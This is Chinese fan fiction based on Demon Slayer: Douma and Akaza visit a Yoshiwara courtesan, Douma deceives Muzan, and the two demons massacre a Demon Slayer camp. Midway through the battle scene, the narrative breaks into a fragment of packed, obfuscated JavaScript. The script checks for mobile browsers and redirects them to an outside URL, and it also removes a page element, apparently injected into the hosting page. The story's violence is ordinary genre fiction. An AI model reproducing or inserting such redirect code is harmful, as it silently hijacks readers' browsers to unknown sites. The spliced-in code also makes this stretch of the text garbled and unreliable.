“啊,这位阁下是我最好的朋友哦,来江户以后多亏他照顾,才不至于流落街头呐~” “您又在说笑了。”朝云太夫从茶釜里舀出一勺水,“这位先生看着年纪不大,如何称呼?” “叫他小猗就好。” 不顾猗窝座杀人般的眼神,童磨笑嘻嘻地说。 “唔,又是个奇怪的名字呢,和您的名字一样奇怪。您猜出合香的内容了吗?” “这次沉水香的味道变重了哦,还加了牡丹枝吧?” “真是什么都骗不过您。”花魁笑着夸赞,“不愧是上方来的大人,看来您必定是出身公卿之家?” 童磨懒洋洋地望着茶釜下的炭灰,答非所问地说:“朝云小姐这是学吉野太夫的焚牡丹嘛?不过时令有些不对哦,冬天还没到呢。” “那是因为每次您来的时候,我就感觉像是冬天到了似的,屋里都变冷了呢。” “诶呀呀,这话说 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朝云太夫娓娓道来:“是前年夏天的事了。将军直属的旗本藤枝大人迷恋上吉原一位叫绫衣的游女,但那藤枝大人本是入赘的女婿,膝下已经有了三男一女,无论如何也没法娶游女进门,冲动之下竟然和那名游女在近郊的仓库里殉情而死,丢尽了将军的脸面。因为藤枝大人是年俸五千的旗本,从那以后便有了‘五千石算甚,与君一夜值千金’的说法。” “好个与君一夜值千金!”童磨扬声大笑起来,“堂堂五千石的旗本,也因为欲望缠身做下如此蠢事,以致身败名裂,真是叫人好奇的很呐~” “大人好奇什么?” “当然是好奇‘爱‘究竟是何种滋味啦~” 花魁抿嘴一笑:“难不成大人不曾爱过任何人?” 童磨嘴角带笑,眼中却无温:“怎么会呢?我爱过很多女孩子呀,包括太夫小姐你,爱到简直想把你连根骨头都不剩的吃下去呢~” 花魁精致的面庞略略僵硬了下,勉强笑道:“大人真会说笑。” “开玩笑啦~看把你吓的,心跳都变快了。”童磨握着扇子,笑眯眯地说。 “说到这个,我倒想起了《雨月物语》里的一则怪谈,说的是有一对好朋友,约定了在秋日某天共赏菊花,到了日子,其中一位设下宴席等着好友前来,一直等到了晚上,才见到朋友的身影,但朋友一言不发,也不肯喝酒吃菜,待他一再邀请,才说出实情。原来这位朋友被困于领主的城里不得外出,又不想因此辜负友人,居然口衔白菊切腹自尽,变成了鬼前来赴约,所以才吃不下人类的食物,也喝不了酒呀~” 猗窝座皱了皱眉,正要制止这鬼再胡说八道,却听朝云太夫笑道:“这故事我也曾有耳闻,但大人可知道,里面的这两个人,并非朋友,而是众道?” “男人也好,女人也罢,能有这样的缘分,是多么幸福的事啊。” 花魁掩口轻笑:“大人真是坦率之人,那么您所向往的,究竟是友人还是爱情呀?” “不论哪个,皆是羁绊嘛。人活着总需要一根风筝线,对吧,太夫小姐?” 猗窝座完全听不懂他们之间打的什么哑谜,只觉得无聊。朝云太夫看出他的不耐烦,于是欠了欠身,“茶也喝的差不多了,我来为二位大人献舞如何?” “诶呀诶呀,跳舞可是人家的专长,怎么能让太夫小姐抢了先?” 童磨终于从地上爬了起来,花魁含笑退到一边,换了一把三味弦。 那是猗窝座一生第一次,也是唯一一次看见童磨起舞。 许多年后童磨成了上弦之贰,那张嘴还是一样欠揍,也还是喜欢没完没了地骚扰他,却再没有在他面前跳过舞。 猗窝座从来不懂跳舞这事,但这家伙跳的…还真是好看。 童磨的舞姿优雅而流畅,每一步都分毫不差地踩在弦音上。他本就宽肩窄腰,身材颀长,跳起舞来却显出惊人的灵活和柔韧,银白羽织的宽袖如同白鹤的两翼,随着乐音的高低起伏,在虚空中带起簌簌的风雪之声。 朝云太夫应景的开口唱道: 梦里恋情知多少 梦里情伤有几分 不过是一时欢愉 终究躲不过逝去 或恋或命皆泡沫 湮没于流转岁月 猗窝座怔怔地望着那行云流水般的身姿,化鬼百年来的黑暗寂静,仿佛被什么锐利的东西破开了一条肆意张扬的缝隙。 万世极乐…吗?真是狂妄之人啊。 室内烛火闪烁,金扇上流光飞舞,那莲华纹似乎活了过来,生长出洁白的菡萏,盛放于他们永远触碰不到的日光之下。 朝云太夫的歌声悠扬婉转,让这吉原的浮华之夜更添了几分动人的情色。 情坠之人多寡言 犯错之人常笑颜 真真假假 皆在一念之间 此亦为被爱灼身之悲哀 只是一晃神之间,童磨就到了跟前,张开的金扇轻轻托起少年的下巴,迫使他的目光与他重合。 “阁下您听,爱是幸福的事,可也是害人的东西呀。” 白橡色的长发犹如落雪溶金,那双七彩琉璃似的眼睛里,却带着神明般的淡淡悲悯。 “该丢弃的就丢弃吧,否则只会永远痛苦下去。” 骤然一声巨响打断了朝云太夫的弦音,花魁惊愕的看到,那一直沉默不语的少年脸色发红,一脚踹烂了纸门,头也不回的跑了出去。 童磨愣在原地,过了片刻才哈哈大笑起来。 “诶呀诶呀,真是不解风情啊,猗窝座阁下。” “看来这孩子是误解了您的意思呢。”花魁笑着叹息道。 “他可不是什么孩子哦。” 那一直带着笑的年轻男子,语气忽然冰冷下来。 朝云太夫悚然一惊,只见对方面无表情地看着自己,那双华美到不真实的眼睛里散发出奇异的光,像是某种不属于人世的妖物。 然而只是一瞬间,男人俊美的脸上就重新露出了温文尔雅的微笑。 “上次拜托朝云小姐的事,不知怎么样啦?” 花魁缓过神来,觉得大概是自己看错了,于是吩咐身旁的“秃”捧上一只锦盒。 “按您的吩咐,这是两个月来所有进出江户的外伤药物的去向,小女已经让人全部记下来了。” “还有,上次您交给小女的那只刀锷,小女托人寄放在浅草寺那边的当铺里,果然被赎走了。” “哦?是什么人买走的?” “听说是个姑娘,右手上有道疤。” “多谢,真是辛苦朝云小姐了。” “您说的什么话。您既是田沼大人的朋友,小女自当尽力而为。”朝云太夫笑道,“但小女仍是好奇,田沼大人只提到您是他在京都的至交,却没说您到底是做什么的。” 男人微微一笑。 “我嘛,和朝云小姐一样,卖笑为生罢了。” 童磨找到猗窝座的时候,后者正站在城下町里一条狭窄的小路上,路两侧皆是挤挤挨挨的长屋,破烂的木板房檐下,依稀有家药铺的招牌,但上面的字迹已经模糊了。 “猗窝座阁下,您在这里干什么呐?”童磨笑嘻嘻地问,“难不成还在生我的气嘛?” 少年模样的鬼没有回头,月下的身影坚硬而沉默。 “我不想再这么下去了。”他低声说。 “童磨,我要找回我的记忆。” 童磨轻轻的叹了口气。 “算啦算啦,口衔白菊切腹自尽恐怕难以做到,但倘若阁下死了,我随您而去还是可以的。” 这次轮到猗窝座笑出了声。 “妈的,这种话你也说得出口,恶不恶心啊?“ “怎么恶心啦,我对阁下可是一片真心…” “我想治好那孩子。” “诶?” “那个叫阿幸的孩子,我想治好她的眼睛。” 猗窝座回过头,恢复成金色的鬼瞳里第一次带上了某种可称之为“希望”的光彩。 童磨沉默了片刻,随即展露出一个微笑。 “好呀,猗窝座阁下。”他说。 113. 番外篇·天明之时(6) 两排白纸灯笼在黑暗中依次亮起。 光可鉴人的木地板上倒映出模糊的灯影,中心的区域却黑如渊薮,在深不见底的漆黑中,一个身影悄无声息的出现了。 “跪下。” 黑影言简意赅地说。 童磨恭顺地伏在了地上。 鬼王巨大的压迫感如同四面无形的墙壁,仿佛稍有不慎,就会像用石块碾死蜗牛般轻而易举的碾碎身体。但在那之前,往往是意志最先崩溃,某种冰冷的、毒蛇般的东西侵入头脑,将每一寸思维都细细舔舐一遍,任何一点想法都在他面前无所遁形。 一如既往的,鬼舞辻无惨只看到了一片空白的寂静,没有恐惧,甚至连情绪也没有,这让他很不舒服。 比凛冬的红梅还要鲜艳的血色眸子微微眯起,鬼王略含愠怒地质问道: “谁叫你杀了下弦之一?” “大人,您错怪属下了。”童磨低着头,语气听起来颇为委屈,“是猎鬼人杀了他,不是属下…” 顷刻间大股的鲜血从他嘴里涌了出来,滴滴答答地落在地板上。 “在我面前,收起你那套花样。” 无惨居高临下地盯着这位新任的上弦之六,此人一向不讨他的喜欢,事实上,就连看见那双过于绮丽的眼睛都令他感到不快。 鬼是由执念构成的生物,从鬼王自己到其麾下所有的鬼,都有着为人时难以磨灭的执念,唯独眼前这个…不知为何物的东西,不仅没有执念,连起码的欲念也没有,整个人好像是具空壳。 非人,亦非鬼。 然而这个四不像的东西,却拥有他迄今为止转化的鬼中最高的血鬼术天赋,以及最聪明的头脑,此外不论在吃人,还是在杀戮猎鬼人的柱方面,都出乎意料的令他满意,这么一想,那种抹除其存在的冲动就渐渐平息了。 “我接收到了下弦之一死前传来的怨恨。”鬼王淡淡地说,“我让他临时听从你的指派,不是叫你借刀杀人。童磨,利用我的信任做出这种事,你的胆子也太大了点。” “下弦之一,那位餍余阁下啊…他可不是什么好人呢。” 童磨依然没有抬头,声音里的情绪一扫而空,变得极为冷静。 “根据属下的情报,他在神奈川一带的鬼里相当出名,不仅经常要求级别低的鬼定期上供给他,还自称是您直属的下弦,他的话就代表您的意思呢。属下知道大人您一向不允许鬼之间结党营私,下弦之一显然是忘记了您的命令,既然如此,属下就有义务予以纠正…” 他停顿了下,又说道:“毕竟,这是来江户前,您分配给属下的任务呀。替您监视包括十二鬼月在内的所有鬼,担任您的‘大目付’,您是如此对属下说的吧?属下兢兢业业,对大人您交代的工作,从来不敢有丝毫懈怠呢。” 无惨目光幽深地盯了他片刻,又把他的脑子读了一遍,才开口道: “猎鬼人的事查的如何了?” 童磨从怀中取出一张纸,在地上铺开。 “正要向您禀告呢。属下通过近两个月进出江户的外伤药材的流向,发现了一处可疑的地方。” “大人请看,在城西的一片村庄里,曾有人多次订购大批药材,而且只进不出。江户周围一直处于幕府的严密管辖下,近年来就算武士也不能随意拔刀动武了,属下认为只有常年和鬼战斗的鬼杀队,才需要如此大量的药物,毕竟那些猎鬼人即使能使用呼吸法止血,回到驻地后也需要对伤口进行处理,因此这个地方,要么是鬼杀队负责收集药物的人员所在,要么就是他们治疗和休养的集中地。” 鬼王冷冷地说:“你有多大把握?” “这个嘛,不敢说一定,但七八成把握还是有的。”童磨抬起头,露出一个甜美的笑脸,“请大人让属下试试看。” “就给你这个机会,确认全部情报后再动手,我会让下级鬼配合你。”无惨不知何时已将那张地图拿在了手上,边看边说:“产屋敷依然没有下落?” “属下惭愧。但产屋敷家是公卿出身,这年月公卿的日子可不好过哦,豢养私军,无论如何都是幕府所不能容忍的做法。如果您真想扼制江户附近活动的猎鬼人,把他们拉到幕府的眼皮底下倒不失为一个好办法。” “不管用什么方法,让这些碍眼的猎鬼人从我眼前消失。” “是,属下一定尽力。” “猗窝座最近怎么样?” 无惨突然毫无预兆地问道。 童磨脸上显出一丝惊讶:“挺好的呀,大人您为何问起这个?” 死亡般的压迫感再次袭来。 “我问,你回答便是,什么时候轮到你来反问我了?” “是。猗窝座阁下嘛…为人相当认真,对工作也很负责任,对了,他最近常往属下那里跑,看样子很信任属下哦。” “没有任何异常吗?” “没有哦,大人。”童磨天真无辜的说,“只是那位阁下的脑子好像不太好的样子,除了武技别的什么也不懂,连去趟吉原都害羞的不行,啊哈哈,您是没看到,他见到花魁时的那个表情…” “这种事就不必向我禀告了。” 无惨厌烦地摆摆手,“童磨,我提拔你是为什么,你应该很清楚,千万别忘了。” “是,大人您说过,十二鬼月里,属下最不像人类。” 童磨再次深深地伏下身去。 “属下无欲无求,一切都是大人您赐予的,您是神明,是属下最崇敬之人,属下永远不会背叛您。” “你明白就好。我需要一把听话又好用的刀,刀不需要有自己的意志。”无惨的语气森然,“倘若被我发现你有任何隐瞒,我会让你后悔来到这世上。” 一阵光影闪烁,童磨再次抬起头时,眼前已经是极乐寺的经堂。 江户的这座新寺院比京都那座大的多,但布置陈设却没什么区别。月光遍照在空旷的厅堂里,像是下了一层霜。夜色深沉,无数写着“极乐”二字的经幡在风中微微浮动。从记事起,这就是他在世上最熟悉的景象了。 哪怕父母死在眼前,鲜血浸透了他的神坛,也无法在心中激起任何波澜。几十年来,他日复一日的坐在此处俯视他的信徒,也俯视着人世的悲欢离合爱恨情仇,仿佛早已化作了一尊真正的佛像。 但江户这地方,似乎确实给他带来了一些别样的乐趣。 童磨轻轻勾起嘴角,将食指插进太阳穴拨弄了几下,细细的血流顺着脸颊流淌下来。 “诶呀呀,猗窝座阁下,您该怎么感谢我呐?我可是为您撒了谎哦…” 他惬意地伸了个懒腰,歪在了神座上。 “果然脑子这东西也是可以改造的嘛,不过那位大人说的对,‘后悔’是什么感觉,人家还真是没体会过呐~” “好啦,今天是最后一次敷药啦,阿幸,你感觉怎么样?” 名为阿银的少女小心地解开了小女孩眼睛上的白布。阿幸揉了揉眼,小巧的脸上逐渐浮现出灿烂的笑容。 “已经可以看清姐姐的手了呢,教主大人请来的大夫好厉害呀!” “听说是江户城里有名的眼科大夫,一般人请不起的。”山田坐在一旁笑道,“最开始大夫就说了,只是营养不良加上进了脏东西引起的病症,身体好转后自然眼睛就会好了。你们可要好好感谢教主大人的恩德。” 阿银笑了笑,没说话。阿幸则急急忙忙地站了起来,边摸索着往外走,边说:“大叔说的对,我这就去跟教主大人道谢,姐姐也一起去吧!” 阿银赶忙拉住她:“等明天早课时再说吧,现在天已经黑了,教主大人说过,如果没有特别的安排,天黑后他不见信徒的。” “特别的安排…说的是去极乐世界吗?”阿幸高兴地问,“我什么时候也能去?” “你、你还小呢,现在不行!” “可是大叔说教主大人会选好孩子去极乐,对吧大叔?” 山田笑着点头:“是啊,但教主大人说过,小阿幸还是太小了,就安心的住在教里等眼睛完全恢复吧。” “我不小了,我都快十三啦!” 门口传来一声嗤笑。 留意到那道忽然出现的身影,阿银慌忙说:“猗…猗窝座先生…” “是哥哥!” 阿幸欢快地叫了一声,朝着那个身影跑了过去。 门口的白衣少年皱了皱眉,却没躲开,只是看着女孩跑到自己面前。 “我的眼睛可以看到了哦!连哥哥的脸都可以看的很清楚呢!”阿幸踮起脚,伸手去够猗窝座的脸,“我可以看到哥哥的嘴巴,鼻子,眼睛…” 她的手停在猗窝座的脸前,嘻嘻笑道: “哥哥的眼睛真好看呀,睫毛也好长,好像阿耀哥哥…” 阿银打断了她:“阿幸,不准这么失礼,猗窝座先生是教主大人的朋友!” “没事。” 猗窝座动了动嘴角。 “我给你带了这个。” 他拿出一只彩色和纸做的蝴蝶,用竹签插在一根纸筒上,晃晃悠悠的好像活的一样。 “哇!好漂亮!” 女孩惊喜不已地接过那只蝴蝶,用手指摩挲着蝴蝶的翅膀,“谢谢哥哥!我一定好好珍惜!” 猗窝座露出了一抹自己都没察觉的笑意。 “嗯,快点好起来。” “所以这次您又带了什么礼物呀,猗窝座阁下?” “纸蝴蝶。” “诶?那是什么?“ “小孩子玩的东西,你不懂。” “就说您花了多少钱吧?” “…四文。” “啊哈哈哈哈~”童磨握着扇子大笑起来,“四文钱的礼物,猗窝座阁下可真是越来越大方啦~” “有什么好笑的!”猗窝座恼火地挠了挠头,“这钱还是我上次吃了个武士,他身上剩下的。鬼又不用买米,我要那么多钱干什么?” “诶呀诶呀,开玩笑的嘛~阁下每次来都记得给那小姑娘带礼物,却想不起来给我带,人家是会伤心的哦?” 童磨垂下眉眼,摆出一张哭脸。 “咱们可是最好的朋友呀,猗窝座阁下总也想不起我,怕是说不过去吧?” “…下回给你带,你想要什么?” 我想要个肉质鲜美的女孩子,稀血那种。童磨想。 可您不会那么做的。 “人家不管,反正不能是四文钱的东西~” “行了行了,我知道了。”猗窝座撇嘴,“那位大人最近召唤你了吗?“ “诶?没有呀,怎么啦?” “我总觉得有点不踏实…也很久没有召唤我了。” “不用担心啦,咱们只需要把份内的工作做好,大人自然看得到。”童磨用扇子轻轻敲了敲桌面,“我找到了鬼杀队的驻地哦,一起去吧?” 猗窝座愕然:“你这家伙…怎么做到的?” “嘻嘻,人家当然有人家的办法,否则也不会这么快就爬到上弦嘛~” “还真不能小看你啊,”猗窝座哼了一声,“我们来比比谁晋升的更快吧。” 童磨顿时两眼放光:“哇啊~第一次见到猗窝座阁下认真起来的样子呢,人家一定会加油的哦~” “…你那是什么奇怪的语气?恶心死了!” 天明七年,五月底,一场骚乱在江户爆发,并在几天内迅速演变为全国性的暴乱。事情的发生纯属偶然,几个吃不起饭的工匠闯进一家米店请求赊米应急,被店家拒绝后砸毁了店铺。历时数年的□□让人们忍无可忍,早已处在饥饿边缘的城市贫民们的怒火终于被点燃,翌日,整个江户陷入了混乱之中,无数店铺遭到打砸和劫掠,随后暴动迅速蔓延到京都、大阪等城市。幕府在焦头烂额之际终于动用了武力,命令名为“火付盗贼改方”的特别部队日夜不停的在城内城外四处镇压,并严查可能的叛乱苗头。 江户城西面的某处村庄里,激烈的交锋正在暗夜中展开。 包围村子的紫藤林被点燃,熊熊火光冲天而起,几只下级鬼从缺口一拥而入。 童磨站在屋顶上,俯视着眼前的村子。随着警报声响起,几十名鬼杀队员从类似长屋的连排房子里狂奔而出,灯火顿时将四下照的亮如白昼。 “敌袭!敌袭!” 随着人类的呼喊声响起的,是黑暗中羽翼扑动的声音,有人放出了传信的鎹鸦。 上弦之六在黑暗中露出了森白的獠牙,他展开金扇,冰风和雪花在空中飞旋而起。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252390|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“血鬼术·冻云。” 白茫茫的冻雾瞬间席卷了村子上空,乌鸦的翅膀结了冰,尖叫着坠落,像下起了一阵石头雨。 “十二鬼月!有十二鬼月在这里!” 猗窝座大笑着掠过童磨身边:“比赛开始!” “好哦~”童磨欢快地应和道。 “术式展开·破坏杀·罗针!” 随着八角的雪花在大地上铺展开来,真正的暴风雪也降临在猎鬼人头上。 两个上弦鬼各自从村子的一端展开杀戮,几只下级鬼则守在村子外围。鬼杀队很快意识到遭遇了前所未有的围猎,奋起反抗。 他们总共还剩下四位柱,其中一位还恰好因公外出。但训练有素的猎鬼人在短暂的慌乱后马上组织了起来,其中一支小队拼死突围,其他人则如汹涌的海潮般以各种不同的呼吸法攻向两个上弦。 “嗯…人数还是有点多哦…” 童磨一边游刃有余的和一名柱缠斗在一起,一边扫了眼猗窝座的方向。只见尘烟漫天,斗气四溢,不时有人体或残缺的肢体飞出来,但猎鬼人无惧上弦的强悍,决意以人海战术来拼死一搏。 闪电般猛烈的斩击将他的注意力拉了回来,面前的年轻人攻击速度极快,刀光飞舞间,隐有雷鸣之声。 “诶?是没见过的柱,你叫什么名字呀?好有趣的呼吸法,简直让人全身发麻呢~” 童磨用了一招枯园垂雪挡下对方的攻击,年轻人退出几步,沉着脸说道:“恶鬼不配知道我的名字。” “真是的,你们猎鬼人说话都这么难听嘛?人家可是相当认真地在问你的名字呀~”童磨无辜的眨眨眼,“因为等一下要吃掉你,有遗言的话可以现在就说哦?” 回应他的是一声怒吼:“雷之呼吸·伍之型·热界雷!” 狂雷般的刀法在上弦鬼的身体上撕开无数伤口,童磨在刀光剑影中哈哈大笑。 “这感觉太有趣啦!我喜欢哦!血鬼术·莲叶冰!” 巨大的冰莲在空中盛开,那名柱被冰寒的冻气逼退,转眼间又换了个角度挥刀砍来。 童磨扬起金扇,冰莲上张开了十几条莲蔓,如笼子般合拢。没想到那柱的反应极快,竟然以刀斩断冰莲蔓,再次闪避而过。 然而下一刻,上弦鬼充满戏谑的声音就出现在他身后。 “你的速度好快呀,全是靠腿部的力量吗?原来这就是雷之呼吸啊…我已经记下来啦,再多换几个招式试试吧?” “雷之呼吸·陆之型·电轰雷轰!” 刀光撕开身体,深入骨骼和血脉,童磨的内心却依然平静无波,甚至连痛感都不明显。 化鬼数十年,战斗于他而言更像是游戏,只不过比投扇子和花札牌要有趣一些。 比起这个… “诶呀呀,玩的过头了,差点忘了比赛的事!这样下去会放跑你们的人哦~” 他咧嘴一笑,獠牙毕现。 只见金扇舞动,寒霜过处,三个一模一样的小冰人落在了地上,并飞速分散开来,随着童磨举起扇子,它们也都举起了手中小小的、透明的扇子。 “血鬼术·散莲华~” 万千晶莹剔透的冰之莲瓣从四面八方铺天盖地而来。 战场沦为了屠场,飞散的莲华之刃交织成一张避无可避的网,割开喉咙、贯穿内脏、剐去血肉,一时间血色弥漫,哀鸿遍野。 “啊啊,新研究的血鬼术果然很好用呢~”童磨开心的拍拍手,“是从那位下弦阁下的傀儡术里得到的灵感哦,对付你们的话应该绰绰有余了,毕竟…” 他脸上露出了天真无邪的笑意。 “人家可不想输给猗窝座阁下呀~” 战斗结束的时候,已近天明之时。 猎鬼人的整个驻地沦为了一片废墟,童磨悠然自得地啃着吃剩下的一只胳膊,踏过遍地鲜血,走在村子中间的路上。 一只鬼赶来向他报告:“上弦大人,已遵照您的吩咐,将带有紫藤花徽记的物品和这些人的日轮刀都放在显眼的地方了。现在我们要做什么吗?” “放火吧,多点几处。”童磨笑嘻嘻地说,“让幕府的人来看看,私造武器,囤积药品,还纠集这么多人住在一起,不是要造反还能是什么?我倒想知道,产屋敷是不是有能力在江户城的那位将军大人面前只手遮天呐?” 越是靠近村子的中心,破坏的程度就越是触目惊心,简直像是遭遇了地震之类的天灾。遍地都是木头的碎片,内脏和看不出形状的人体残肢散落的到处都是,摇摇欲坠的残垣断壁上喷溅了大片鲜血。 猗窝座的身影站在这地狱般的图景中,全身浴血,一动不动。 “猗窝座阁下?” 童磨感到了某种奇怪的气息,他走上前去,却发现上弦之四的眼中只剩茫然,沾满血迹的双手竟然在微微颤抖。 “我做了…什么…?”他喃喃道,“到底…发生了什么事…?” 童磨歪了歪头:“您在说什么呀,猗窝座阁下?” “不对…不对…”少年面貌的鬼摇了摇头:“我做过这样的事,我做过…” 他忽然痛苦地捂住了脸,如同崩塌的岩石般跪倒在地上。 “她在哭…恋雪…恋雪她…师父…这到底是…” ——在川越那边有家素流道场,有父女二人被隔壁剑道道场的人投毒害死,结果有个门生恰好回家扫墓,躲过一劫。 ——这个门生回来以后发了狂,赤手空拳把剑道道场的六十七人虐杀致死。 童磨在全身发抖的少年面前蹲了下来,伸出手,轻轻抚上了他的脸。 “没事的,我在这里呢,猗窝座阁下。” “请放心,一切都会好起来的。” 神明之子用沉稳而温柔的声音说道,正如他从记事起无数次做过的那样。 虽然他从小就明白,对于那些真正遭遇绝望之事的人而言,什么都不会好起来了。 神明从未睁开眼睛,看一眼这些被祂抛弃在暗夜中的人。 于是神明之子轻声说:“呐,跟我走吧,阁下。” “去…哪里?”指缝间那只染血的金瞳木然的看着他。 “去没有痛苦的地方。“童磨微笑,“让我来帮助您吧。” 114. 番外篇·天明之时(7) 猗窝座恢复清醒时,发觉自己躺在树林间的一片空地上。 正值夏夜,月华如水,万物都覆上了一层淡淡的银光。如果不是那股极其浓烈的血香,他会以为自己又度过了一个平淡无奇的夜晚。 上弦之四猛的坐了起来,面前是一地血泊中支离破碎的白骨,和几块浸透鲜血的、破烂不堪的布片。 他愣了一会儿,才意识到那股血香味从自己的口腔里传来。 “啊,阁下终于醒啦~” 不远处传来男人轻快的声音。猗窝座抬起头,看见童磨斜靠在一棵树下,袖着双手,一副悠闲自在、无忧无虑的表情。 猗窝座紧紧地皱起了眉。 “你…做了什么?” “这叫什么话,人家只是看阁下饿昏了,特意把自己的猎物分给您而已嘛。诶呀呀,您那副样子简直吓坏我了,都不敢跟您抢肉了呢,只好捡剩下的吃啦。” 上弦之六的右手从他暗红色的和服袖子里抽出来,修长的手指间拈着半根啃的白白净净的骨头,朝猗窝座晃了晃。 猗窝座只感到头疼欲裂。 “你从哪里找来的稀血?” 对方并未回答他的问题,却反问道: “阁下有多久没进食了?“ 猗窝座垂下头,呆呆地看着那一地残骸。 “三个月…或者四个月?我忘了。” 童磨立刻发出了滔滔不绝的感叹: “您看看您,怎么能对自己如此残忍呢?一般的鬼饿到这个程度恐怕早就发疯了,力量也会严重衰弱,您虽然是强大的上弦,但战斗之后也需要补充体力呀,这就像江户人在夏至的时候要吃鳗鱼来补充精力一样嘛!难怪您会饿到产生幻觉,说实话,我刚刚变成鬼的时候也产生过那种幻觉,好像信徒们都变成了会走路的牡丹锅,诶呀呀,那滋味到现在还记忆犹新呐…” “你也太狡猾了,竟然拿稀血来引诱我。”猗窝座扛不住他的长篇大论,只剩苦笑,“童磨,你明知道我为什么不想吃人。” “我知道呀。作为万世极乐教的教主,我见过无数像您这样被‘过去’困扰的人。” 童磨的语气忽然平淡下去,他用舌尖舔了舔手中那根雪白的骨头。 “阁下知道人类为什么想去极乐世界吗?” 猗窝座愣了愣,“为什么?” 极乐教主勾起嘴角,露出一抹戏谑的笑。 “因为现实让他们无法承受,又无能为力。” “对已经发生的事无法承受,对即将发生的事无能为力,只要活着,内心就每天都在遭受痛苦的折磨,如果不编造出极乐世界这种东西来安慰自己,就不知道该如何才能活得下去了。” “你对我说这个…是什么意思?” 童磨的眼睛在月光下泛着宝石般的虹彩,让他看上去更像是某种擅长蛊惑人心的妖精。 “我不想看阁下您深陷于这种毫无意义的痛苦中。人类是脆弱又可悲的存在,但咱们不是人类,对于被那位大人选中的咱们而言,成为鬼,意味着不用再背负沉重的负担,不用再被过去和未来所束缚,因此,我更希望阁下能学会活在当下的这一刻,及时行乐才是这世上的生存之道,这也是我常给信徒们的忠告哦。” 名为“童磨”的妖精轻柔地说: “凡是让自己痛苦的事,都没有必要去做,只要安稳快乐的生活就好。阁下也是一样,如果记忆让您感到痛苦,又何必一定要去找回它们呢?像现在这样活下去,又有什么不好呢?” “虽说是这样,可总觉得那是非常重要的东西…”猗窝座攥紧了拳头,像是要抓住什么,“是如果失去了,就没办法再活着的东西…” “这样啊…阁下变成鬼多久了?” “…快有百年了吧。” 童磨微微一笑。 “那阁下还在幻想什么呢?再重要的人和事,经过百年的时间,也早就不存在了呀。” 猗窝座的瞳孔紧缩了下,最终无力的松开了攥紧的拳头。 “你说的也对…”他叹息道。 “走您想走的路,追求武者的至高境界,这是多有意义的事呀。”童磨循循善诱地说,“人类哪怕想得到这样的机会也得不到呢。” “是啊,我…只想成为强者…”猗窝座喃喃地说。 他顿了顿,看着地上的白骨,又怔然道: “童磨,我们这种人,以后一定会下地狱吧?” 话音未落,他就听到童磨放声大笑起来。 “啊哈哈,阁下真是傻的可爱,身为上弦,怎么会问出这种愚蠢的问题啊!” “有什么好笑的!”猗窝座忿忿地说,“我们杀过这么多人,肯定是会下地狱的吧!你就一点也不在意吗?” 童磨笑的停不下来,“世上根本不存在神佛和地狱嘛!猗窝座阁下居然相信这种无稽之谈,诶呀呀,这可真是…哈哈哈…” “你怎么知道不存在?万一存在呢?” “万一存在,排在咱们前面的还有很多人呢,您急什么呀。” 童磨用扇子抵着嘴唇,弯起了眼睛,“阁下,关原合战里死了多少人,您知道吗?” “哈?那种事…我怎么会知道!” “我来告诉您吧,单这一场合战,双方差不多死了一万人哦,阁下做鬼近百年,吃掉的人有一万个那么多吗?” 他握着扇子轻笑道。 “那位获胜的家康公因此而下地狱了吗?非但没有,据我所知,他还被追封为‘东照大权现’,作为守护幕府的神明,供奉在东照宫里呐。” “战国时的那些大将就不提了,哪个手上没有成百上千条人命?只说现在,饥荒已经持续了有五年吧,听说东北那边的乡下都在人吃人了,可江户的大名和旗本也依然吃着精米和点心,整日不劳而获,即便知道乡下饿死了人,年贡也一文不减,如果真有神佛,也该是他们先遭到天谴才对。” “但是,没有哦。”童磨歪了歪头,“您那天都看到啦,那些武士完全不担心任何天谴、也不觉得自己的做法有半点问题呢,既然都是食人血肉,为何他们能吃,我们不能吃?” “就连那些猎鬼人也一样,整天喊着要我们下地狱,可没有一个敢跟武士过不去的,说到底,他们只不过是一群被自己的感情蒙蔽了双眼的可怜人,要知道,就算真有地狱,也不在别的地方,而就在这人世间呀。” 上弦之六的表情似笑非笑,目光却剔透而清冷,仿佛在六月的天降下一场大雪。 猗窝座张了张嘴,却什么也没说出来。 他最终哑然失笑。 “真是败给你了,到底哪来这么多歪理?” “这话说的,人家可是神之子,又不是路边算卦的骗子。”童磨无辜地说,“要是连这么浅显的道理都不懂,怎么会有信徒愿意追随我嘛?” 他用扇子轻轻敲打着手心,“好啦好啦,不说这个了。这场战斗之后,鬼杀队应该需要很长时间才能恢复元气,在得到新的任务前,阁下就在我那里住一阵子吧。” “您喜欢人类的话,我可以把那两个小姑娘一直养到寿终正寝,反正我有那么多信徒,那位大人通常也不会干涉。如果需要的话,就将她们当作是您的风筝线吧。” “为什么?” 猗窝座直直的盯着他那笑容温柔的同类,童磨的发色很浅,在月下透出晨曦般的柔光,仿佛这永无止境的黑夜也变得不那么漫长了。 “你为什么要…帮我?” 童磨又像只狐狸似的眯起眼睛。 “因为猗窝座阁下也是我的风筝线哦,不过说了您也理解不了,所以就请安心的接受我的好意吧。” 猗窝座脑袋发蒙,只得无奈地挠了挠一头短发。 “你这个家伙…还真是奇怪啊…” 到了六月,江户等地的骚乱终于被幕府镇压下去,城下町恢复了风平浪静,町人间又有了新的热门话题,那就是前些日子城外西面的山村突发大火,“火盗”的官差赶到时,发现遍地皆是烧焦的尸体不说,还有大量精铁锻造的打刀散落其间,疑似某位公卿图谋不轨豢养的私军,但不知是因为内讧还是灭口,竟然一夜死绝。饶是如此,幕府依然震怒,下令严查带有紫藤花徽记的一切物品,以及身份可疑的浪人,民间有检举线索者,赏银十两。 “不得了了,官府都发了告示呢!” 某日极乐教负责采买的阿又从江户回来,站在院子里对众人神秘兮兮地说。 “听城里卖瓦版的说,多少年没遇过这种大案了,那伙贼人真是胆量不小!” “可惜没抓到活的,江户附近出了这种事,衙门的官差也太丢脸了。” “听说町奉行所的捕吏被要求限期抓到余党,否则就要切腹谢罪呢!” “真可怕…” “哎呀,阿银你怎么回事,那可是我刚买回来的豆腐!” “抱歉…” 众人的目光落到那低头半跪在地上收拾扣了一地的豆腐的少女身上。 